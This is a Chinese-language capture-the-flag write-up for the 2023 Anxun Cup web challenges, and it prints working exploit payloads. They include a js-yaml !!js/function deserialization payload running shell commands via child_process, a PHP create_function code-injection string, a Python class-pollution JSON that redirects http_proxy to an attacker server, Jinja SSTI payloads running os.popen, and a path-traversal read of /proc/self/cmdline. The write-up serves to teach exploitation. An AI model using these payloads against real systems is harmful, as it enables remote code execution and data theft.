2023安洵杯复现WP
审计源代码
if (fileExtension === '.ini') {
// 处理 INI 文件
const parsedData = ini.parseString(fileBuffer);
output = yaml.dump(parsedData);
} else if (fileExtension === '.xml') {
// 处理 XML 文件
xml2js.parseString(fileBuffer, (err, result) => {
if (err) {
return res.status(500).send('Error parsing XML.');
}
output = yaml.dump(result);
});
} else if (fileExtension === '.properties') {
// 处理 Properties 文件
properties.parse(fileBuffer, (err, parsedData) => {
if (err) {
console.error('Error parsing properties file:', err);
return res.status(500).send('Error parsing properties file.');
}
output = yaml.dump(parsedData);
});
题目描述可上传.ini .xml .properties 以及yaml文件
根据代码,其中.ini .xml .properties会转化为yaml文件
else if (fileExtension === '.yaml') {
// 处理 YAML 文件
try {
// 尝试解析 YAML 文件
const yamlData = yaml.load(fileBuffer);
// 如果成功解析,yamlData 变量将包含 YAML 文件的内容
output = yaml.dump(yamlData);
} catch (e) {
return res.status(400).send('Invalid YAML format: ' + e.message);
}
}
这段代码将上传的yaml文件(或其他格式文件转化为yaml之后的文件)利用yaml.load函数进行处理
在提供的源代码中的package.json函数找到对应版本号
{
"name": "web",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"dependencies": {
"ejs": "^3.1.9",
"express": "^4.18.2",
"express-session": "^1.17.3",
"iniparser": "^1.0.5",
"js-yaml": "^3.14.1",
"multer": "^1.4.5-lts.1",
"properties": "^1.2.1",
"xml2js": "^0.6.2"
}
}
其中js-yaml版本为3.14.1 ejs对应版本为3.1.9
寻找js-yaml相关文档,且与更新的版本进行对比,找到一个危险标签!!js/function,使用这个标签以后,载经过load函数处理以后,会将内容改变为js的函数形式
然后搜索利用ejs3.1.9对应的注入漏洞
相关文章:https://github.com/mde/ejs/issues/720
结合此poc以及源码中给出的render函数
if (output) {
let name = 'ctfer';
const yamlData = yaml.load(output);
if (yamlData && yamlData.name) {
name = yamlData.name;
}
req.session.outputData=name;
req.session.outputData=output;
res.render('preview', { name: name,output: output }); // 渲染 preview.ejs 模板
} else {
res.status(400).send('Unsupported format.')
}
写出yaml文件内容
"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}
上传该文件即可获得flag
what’s my name
php代码审计题目
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
$sorter='strnatcasecmp';
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
}
else{
echo('Is That My Name?');
}
}
else{
echo("YOU Do Not Know What is My Name!");
}
?>
1.正则绕过
if(preg_match('/^(?:.{5})*include/',$d0g3)){
限制要求:include字符串前面需要5个任意字符
使用12345即可绕过
2.匿名函数
strlen($d0g3)==substr($miao, -2)
要求:传入变量d0g3的长度应等于匿名函数的最后两位
本地实测:
每一次刷新后匿名函数加一,且通var_dump打印之后,会发现其字符串长度为9(存在不可见字符),因此在传参时键入%00
3.create_function()函数命令执行
当匹配到create_function(
时,接下来就会寻找参数,接下来一定一个单引号/双引号。1.系统就会寻找闭合的引号,此时引号内的注释符等会忽略;,通过闭合、拼接create_function()函数,实现代码注入的目的。
4.综上
构造payload
?d0g3=12345include"]);}phpinfo();/*&name=%00lambda_27
可直接在phpinfo中读取到flag
或者写马子连蚁剑,读取admin.php文件,在假flag文件中隐藏着真实flag
Swagger Docs
题目给出接口文档
{
"swagger": "2.0",
"info": {
"description": "Interface API Documentation",
"version": "1.1",
"title": "Interface API"
},
"paths": {
"/api-base/v0/register": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Registration API",
"description": "Used for user registration",
"parameters": [
{
"name": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserRegistration"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
}
}
}
},
"/api-base/v0/login": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Login API",
"description": "Used for user login",
"parameters": [
{
"name": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserLogin"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
}
}
}
},
"/api-base/v0/search": {
"get": {
"summary": "Information Query API",
"description": "Used to query information",
"parameters": [
{
"name": "file",
"in": "query",
"required": true,
"type": "string"
},
{
"name": "id",
"in": "query",
"required": false,
"type": "string"
},
{
"name": "type",
"in": "query",
"required": false,
"type": "string",
"description": "Default JSON format.If type is 'text',Text format will be returned"
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
},
"/api-base/v0/update": {
"post": {
"consumes": [
"application/json"
],
"summary": "Change Password API",
"description": "Used to change user password",
"parameters": [
{
"name": "password",
"in": "body",
"required": true,
"schema": {
"type": "object",
"properties": {
"password": {
"type": "string"
}
}
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
},
"/api-base/v0/logout": {
"get": {
"summary": "Logout API",
"description": "Used for user logout",
"responses": {
"200": {
"description": "success"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
}
},
"definitions": {
"UserRegistration": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
},
"UserLogin": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
}
},
"securityDefinitions": {
"TokenAuth": {
"type": "apiKey",
"name": "Authorization",
"in": "header"
}
},
"security": [
{
"TokenAuth": []
}
]
}
读文档:
大致分析存在的路由有:
/api-base/v0/register 注册功能(POST)
/api-base/v0/login 登录功能(POST)
/api-base/v0/search 文件搜索,读取?(GET)
/api-base/v0/update 改密码(POST)
/api-base/v0/logout 登出(GET)
相关定义:
"definitions": {
"UserRegistration": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
},
"UserLogin": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
}
},
"securityDefinitions": {
"TokenAuth": {
"type": "apiKey",
"name": "Authorization",
"in": "header"
}
},
"security": [
{
"TokenAuth": []
}
]
}
1.注册
结合定义,通过POST传参json格式的username以及password
2.登录
3.读源码
尝试读取etc/passwd失败
看wp发现是根据进程相关信息获得文件位置
读取当前进程
?file=../../../proc/self/cmdline&type=text
发现其启动当前命令执行的命令为:python api.py
发现其是python 的应用程序
直接读取源码
4.代码审计
发现类似于原型链污染中的merge函数
def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)
猜测页面中存在render函数, 直接搜索找到相关代码
def api():
if request.args.get('file'):
try:
if request.args.get('id'):
id = request.args.get('id')
else:
id = ''
data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
if data.status_code != 200:
return data.status_code
if request.args.get('type') == "text":
return render_template_string(data.text)
else:
return jsonify(json.loads(data.text))
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?'
else:
return jsonify(response2)
在此段代码中的变量data就是为了为读取的文件,但写法很奇怪,一般来说,直接打开对应文件就行,但此处采用的方式是自己对自己再次进行一次访问对应文件来获取文件内容,因此修改环境变量中的http_proxy为为自己的服务器来进行监听。执行命令
在update界面中进行污染
{
"__init__": {
"__globals__": {
"os": {
"environ": {
"http_proxy":"175.xxx.xx.101:333"
}
}
}
}
}
在服务器启动监听后,伪造响应
HTTP/1.1 200 OK
{{lipsum.__globals__['os'].popen('ls').read()}}
找到flag文件
读取
HTTP/1.1 200 OK
{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}
得到flag
4、easy_unserialize
比赛当天打了一遍,此处只做知识点记录
链子:
You:__wakeup->Luck::__unset->Good::__isset->To::__set->Luck::__get->To:;_call->Luck::__toString->Flag::__invoke
双重md5碰撞,官方脚本:
# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.ascii_letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
value = md5.hexdigest()
if value[start: start + str_len] == substr:
# print rnds
# stop_event.set()
# 碰撞双md5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start + str_len] == substr:
print rnds + "=>" + value + "=>" + md5.hexdigest() + "n"
stop_event.set()
if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()